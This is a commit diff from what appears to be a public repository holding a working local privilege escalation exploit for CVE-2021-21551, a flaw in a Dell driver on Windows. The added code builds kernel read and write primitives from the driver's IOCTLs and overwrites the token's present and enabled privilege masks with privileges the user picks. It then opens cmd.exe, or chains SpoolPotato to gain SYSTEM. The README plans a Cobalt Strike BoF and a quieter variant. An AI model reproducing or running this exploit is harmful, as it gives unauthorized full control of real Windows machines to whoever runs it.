Projects STRLCPY CVE-2021-21551 Commits 861b49f4
🤬
  • Cleaner PRIVESC and added ability to choose the privs youd like

  • Loading...
  • Arash committed 3 years ago
    861b49f4
    1 parent 87ae3c2d
  • 1.PNG
  • 2.PNG
  • ■ ■ ■ ■ ■
    CVE-2021-21551.cpp CVE-2021-21551/CVE-2021-21551.cpp
    skipped 21 lines
    22 22  #include <stdio.h>
    23 23  #include <iostream>
    24 24  #include <cstdint> // include this header for uint64_t
     25 +#include <Psapi.h>
     26 +#include <map>
    25 27   
    26 28  #pragma comment(lib, "Wtsapi32.lib")
    27 29  #pragma comment(lib, "rpcrt4.lib")
    skipped 8 lines
    36 38  #define SystemHandleInformation 0x10
    37 39  #define SystemHandleInformationSize 1024 * 1024 * 2
    38 40   
     41 +std::map<std::string, uint64_t> privMap = {
     42 + { "SeCreateTokenPrivilege", 0x000000002 },
     43 + { "SeAssignPrimaryTokenPrivilege", 0x000000003 },
     44 + { "SeLockMemoryPrivilege", 0x000000004 },
     45 + { "SeIncreaseQuotaPrivilege", 0x000000005 },
     46 + { "SeMachineAccountPrivilege", 0x000000006 },
     47 + { "SeTcbPrivilege", 0x000000007 },
     48 + { "SeSecurityPrivilege", 0x000000008 },
     49 + { "SeTakeOwnershipPrivilege", 0x000000009 },
     50 + { "SeLoadDriverPrivilege", 0x00000000a },
     51 + { "SeSystemProfilePrivilege", 0x00000000b },
     52 + { "SeSystemtimePrivilege", 0x00000000c },
     53 + { "SeProfileSingleProcessPrivilege", 0x00000000d },
     54 + { "SeIncreaseBasePriorityPrivilege", 0x00000000e },
     55 + { "SeCreatePagefilePrivilege", 0x00000000f },
     56 + { "SeCreatePermanentPrivilege", 0x000000010 },
     57 + { "SeBackupPrivilege", 0x000000011 },
     58 + { "SeRestorePrivilege", 0x000000012 },
     59 + { "SeShutdownPrivilege", 0x000000013 },
     60 + { "SeDebugPrivilege", 0x000000014 },
     61 + { "SeAuditPrivilege", 0x000000015 },
     62 + { "SeSystemEnvironmentPrivilege", 0x000000016 },
     63 + { "SeChangeNotifyPrivilege", 0x000000017 },
     64 + { "SeRemoteShutdownPrivilege", 0x000000018 },
     65 + { "SeUndockPrivilege", 0x000000019 },
     66 + { "SeSyncAgentPrivilege", 0x00000001a },
     67 + { "SeEnableDelegationPrivilege", 0x00000001b },
     68 + { "SeManageVolumePrivilege", 0x00000001c },
     69 + { "SeImpersonatePrivilege", 0x00000001d },
     70 + { "SeCreateGlobalPrivilege", 0x00000001e },
     71 + { "SeTrustedCredManAccessPrivilege", 0x00000001f },
     72 + { "SeRelabelPrivilege", 0x000000020 },
     73 + { "SeIncreaseWorkingSetPrivilege", 0x000000021 },
     74 + { "SeTimeZonePrivilege", 0x000000022 },
     75 + { "SeCreateSymbolicLinkPrivilege", 0x000000023 },
     76 + { "SeDelegateSessionUserImpersonatePrivilege", 0x000000024 }
     77 +};
    39 78   
    40  -struct ioctl_input_params {
     79 +struct ioctl_input_params_write {
    41 80   uint64_t padding1;
    42 81   uint64_t address;
    43 82   uint64_t padding2;
    44 83   uint64_t value_to_write;
     84 +};
     85 + 
     86 +struct ioctl_input_params_read {
     87 + uint64_t padding1;
     88 + uint64_t what;
     89 + uint64_t padding2;
     90 + uint64_t where;
    45 91  };
    46 92   
    47 93  using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    skipped 357 lines
    405 451   return 0;
    406 452  }
    407 453   
     454 +BOOL KernelRead(HANDLE hDevice, uint64_t what, uint64_t* where) {
     455 + DWORD dwBytesReturned = 0;
     456 + ioctl_input_params_read readData{ 0 };
    408 457   
    409  -__declspec(dllexport) void exploit() {
     458 + readData.what = what;
     459 + BOOL read = DeviceIoControl(hDevice, 0x9b0c1ec4, &readData, sizeof(readData), &readData, sizeof(readData), &dwBytesReturned, NULL);
     460 + *where = readData.where;
     461 + return read;
     462 +}
    410 463   
    411  - //Start by getting the location of our token
     464 +BOOL KernelWrite(HANDLE hDevice, uint64_t where, uint64_t what) {
    412 465   DWORD bytesReturned = 0;
     466 + ioctl_input_params_write privilege_enabled_params{ 0 };
     467 + privilege_enabled_params.address = where;
     468 + privilege_enabled_params.value_to_write = what;
     469 + 
     470 + BOOL write = DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);
     471 + return write;
     472 +}
     473 + 
     474 +UINT64 ConvertUserToKernelAddress(HMODULE LoadedLibrary, FARPROC MappedAddress, UINT64 NtBaseAddress)
     475 +{
     476 + UINT64 Result = reinterpret_cast<UINT64>(MappedAddress);
     477 + Result -= reinterpret_cast<UINT64>(LoadedLibrary);
     478 + Result += NtBaseAddress;
     479 + 
     480 + return Result;
     481 +}
     482 + 
     483 +bool ResolveBaseAddressFor(const wchar_t* ModuleName, PUINT64 BaseAddress)
     484 +{
     485 + const int nSize = 1024 * 2;
     486 + 
     487 + LPVOID lpImageBase[nSize] = { 0 };
     488 + DWORD cbNeeded = 0;
     489 + 
     490 + if (EnumDeviceDrivers(lpImageBase, nSize, &cbNeeded) &&
     491 + cbNeeded < sizeof(lpImageBase))
     492 + {
     493 + wchar_t szDriver[nSize] = { 0 };
     494 + int drivers = cbNeeded / sizeof(lpImageBase[0]);
     495 + 
     496 + for (int i = 0; i < drivers; i++)
     497 + {
     498 + if (GetDeviceDriverBaseName(lpImageBase[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0])))
     499 + {
     500 + if (wcscmp(szDriver, ModuleName) == 0)
     501 + {
     502 + *BaseAddress = reinterpret_cast<uint64_t>(lpImageBase[i]);
     503 + return true;
     504 + }
     505 + }
     506 + }
     507 + }
     508 + 
     509 + return false;
     510 +}
     511 + 
     512 +void exploit(int argc, char** argv) {
     513 + 
     514 + //Start by getting the location of our token
    413 515   
    414 516   pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
    415 517   
    skipped 28 lines
    444 546   FILE_ATTRIBUTE_NORMAL,
    445 547   NULL);
    446 548   
    447  - //Overwrite the Enabled and Present values in SEP_TOKEN_PRIVILEGES
    448  - static constexpr uint64_t MASK_TO_WRITE = 0xffffffffffffffff;
    449  - uint64_t tokenPrivileges = tokenAddress + 0x41;
     549 + //Stuff to resolve System Token + Token Offset
     550 + /*UINT64 NtosBaseAddress = 0;
     551 + if (!ResolveBaseAddressFor(L"ntoskrnl.exe", &NtosBaseAddress))
     552 + {
     553 + std::wcerr << "[!] Unable to resolve ntoskrnl!" << std::endl;
     554 + }
     555 + 
     556 + HMODULE hModule = LoadLibrary(L"ntoskrnl.exe");
     557 + if (hModule == NULL)
     558 + {
     559 + std::wcerr << "[!] LoadLibrary failed: " << GetLastError() << std::endl;
     560 + }
     561 + 
     562 + FARPROC PsInitialSystemProcess = GetProcAddress(hModule, "PsInitialSystemProcess");
     563 + if (PsInitialSystemProcess == NULL)
     564 + {
     565 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl;
     566 + }
     567 + 
     568 + FARPROC PsReferencePrimaryToken = GetProcAddress(hModule, "PsReferencePrimaryToken");
     569 + if (PsReferencePrimaryToken == NULL)
     570 + {
     571 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl;
     572 + }
     573 + 
     574 + FARPROC SeQueryInformationToken = GetProcAddress(hModule, "SeQueryInformationToken");
     575 + if (SeQueryInformationToken == NULL)
     576 + {
     577 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl;
     578 + }
     579 +
     580 + UINT64 ui64PsInitialSystemProcess = ConvertUserToKernelAddress(
     581 + hModule,
     582 + PsInitialSystemProcess,
     583 + NtosBaseAddress
     584 + );
     585 + 
     586 + std::wcout << "[+] Token function location is at: " << std::hex << PsReferencePrimaryToken << std::endl;
     587 + UINT64 ui32TokenOffset = *reinterpret_cast<PUINT32>(
     588 + reinterpret_cast<PUCHAR>(PsReferencePrimaryToken) + 0x15
     589 + );
     590 + 
     591 + std::wcout << "[+] PsInitialSystemProcess is located: " << (LPVOID)ui64PsInitialSystemProcess << std::endl;
     592 + std::wcout << "[+] Token offset: " << std::hex << ui32TokenOffset << std::endl;
     593 + */
     594 + 
     595 + system("whoami /priv");
     596 + 
     597 + uint64_t privPresent;
     598 + uint64_t privEnabled;
     599 + 
     600 + KernelRead(hDevice, tokenAddress + 0x40, &privPresent);
     601 + std::wcout << "[+] Present token is: 0x" << std::hex << privPresent << std::endl;
     602 + 
     603 + KernelRead(hDevice, tokenAddress + 0x48, &privEnabled);
     604 + std::wcout << "[+] Enabled token is: 0x" << std::hex << privEnabled << std::endl;
     605 + 
     606 + if (argc > 1) {
     607 + for (int i = 1; i < argc; ++i) {
     608 + std::string privName = argv[i];
     609 + if (privMap.find(privName) == privMap.end())
     610 + {
     611 + std::cout << "[x] Invalid privilege to obtain: " << argv[i] << std::endl;
     612 + continue;
     613 + }
    450 614   
    451  - std::cout << "[+] Overwriting PRESENT token mask..." << std::endl;
    452  - ioctl_input_params privilege_present_params{ 0 };
    453  - privilege_present_params.address = tokenPrivileges;
    454  - privilege_present_params.value_to_write = MASK_TO_WRITE;
     615 + std::wcout << "[+] Masking tokens with " << privName.c_str() << "..." << std::endl;
     616 + privPresent |= 1 << privMap[argv[i]];
     617 + privEnabled |= 1 << privMap[argv[i]];
     618 + }
     619 + }
     620 + else {
     621 + std::wcout << "[+] Masking tokens with SeImpersonatePrivilege..." << std::endl;
     622 + privPresent |= 1 << privMap["SeImpersonatePrivilege"];
     623 + privEnabled |= 1 << privMap["SeImpersonatePrivilege"];
     624 + }
    455 625   
    456  - DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_present_params, sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);
     626 + std::wcout << "[+] Present token masked is: 0x" << std::hex << privPresent << std::endl;
     627 + std::wcout << "[+] Enabled token masked is: 0x" << std::hex << privEnabled << std::endl;
    457 628   
    458  - std::cout << "[+] Overwriting ENABLED token mask..." << std::endl;
    459  - ioctl_input_params privilege_enabled_params{ 0 };
    460  - privilege_enabled_params.address = tokenPrivileges + 0x08;
    461  - privilege_enabled_params.value_to_write = MASK_TO_WRITE;
     629 + std::cout << "[+] Updating PRESENT token mask..." << std::endl;
     630 + KernelWrite(hDevice, tokenAddress + 0x40, privPresent);
    462 631   
    463  - DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);
     632 + std::cout << "[+] Updating ENABLED token mask..." << std::endl;
     633 + KernelWrite(hDevice, tokenAddress + 0x48, privEnabled);
     634 + system("whoami /priv");
    464 635  }
    465 636   
    466  -void main() {
     637 +__declspec(dllexport) void main(int argc, char** argv) {
    467 638   std::cout << "[+] Setting token privs using write primitive first..." << std::endl;
    468  - exploit();
    469  - std::cout << "[+] Running Spool Potato to get SYSTEM..." << std::endl;
    470  - SpoolPotato();
     639 + if (argc > 1) {
     640 + std::cout << "[+] Obtaining specificed privileges: " << argv[1] << std::endl;
     641 + exploit(argc, argv);
     642 + system("cmd.exe");
     643 + }
     644 + else {
     645 + std::cout << "[+] Obtaining SeImpersonatePrivilege and getting SYSTEM..." << std::endl;
     646 + exploit(argc, argv);
     647 + std::cout << "[+] Running Spool Potato magic to get SYSTEM using only SeImpersonatePrivilege..." << std::endl;
     648 + SpoolPotato();
     649 + }
    471 650  }
    472 651   
  • CVE-2021-21551.sln CVE-2021-21551/CVE-2021-21551.sln
    Content is identical
  • CVE-2021-21551.vcxproj CVE-2021-21551/CVE-2021-21551.vcxproj
    Content is identical
  • CVE-2021-21551.vcxproj.filters CVE-2021-21551/CVE-2021-21551.vcxproj.filters
    Content is identical
  • CVE-2021-21551.vcxproj.user CVE-2021-21551/CVE-2021-21551.vcxproj.user
    Content is identical
  • IWinSpool.idl CVE-2021-21551/IWinSpool.idl
    Content is identical
  • IWinSpool_c.c CVE-2021-21551/IWinSpool_c.c
    Content is identical
  • IWinSpool_h.h CVE-2021-21551/IWinSpool_h.h
    Content is identical
  • IWinSpool_s.c CVE-2021-21551/IWinSpool_s.c
    Content is identical
  • RpcHelpers.c CVE-2021-21551/RpcHelpers.c
    Content is identical
  • Capture.PNG
  • ■ ■ ■ ■ ■
    README.md
    skipped 5 lines
    6 6   
    7 7  At this time we just provide an upgraded cmd.exe shell. If you want something else you'll have to edit the exploit yourself.
    8 8   
    9  -![EXAMPLE](https://github.com/waldo-irc/CVE-2021-21551/blob/main/Capture.PNG)
     9 +**UPDATE This now provides a system shell if no arguments are provided. This can also accept an unlimited number of arguments as privilege names you would like to obtain and provide you a shell with only those specific privileges if you'd like.
     10 + 
     11 +![EXAMPLE ONE](https://github.com/waldo-irc/CVE-2021-21551/blob/main/1.PNG)
     12 + 
     13 +![EXAMPLE TWO](https://github.com/waldo-irc/CVE-2021-21551/blob/main/1.PNG)
    10 14   
    11 15  All I did was merge the techniques to make a full privesc and toss in the "Fill in the blanks" from https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
    12 16  Not much I can take credit for here! But in case you're wondering my twitter is @waldoirc
    skipped 7 lines
    20 24  1. Will make a BoF for Cobalt Strike
    21 25  2. Reflective DLL
    22 26  3. Use the Read Primitive to steal a System Token and make it work from low integrity as well
    23  -4. Clean it up and make it less noisy by masking current privs ONLY by adding SeImpersonate only using the Read Primitive + a mask of "SeImpersonatePrivilege" : 0x00000001d
     27 +**4. Clean it up and make it less noisy by masking current privs ONLY by adding SeImpersonate only using the Read Primitive + a mask of "SeImpersonatePrivilege" : 0x00000001d
     28 + - This is now completed.
    24 29  5. Make it dnymically work with all version of windows without hardcoding SE_TOKEN_PRIVILEGES offset
    25 30   
    26 31  This exploit is for educational purposes only. Please do not use this where you do not have permission.
    skipped 1 lines
Please wait...
Page is in error, reload to recover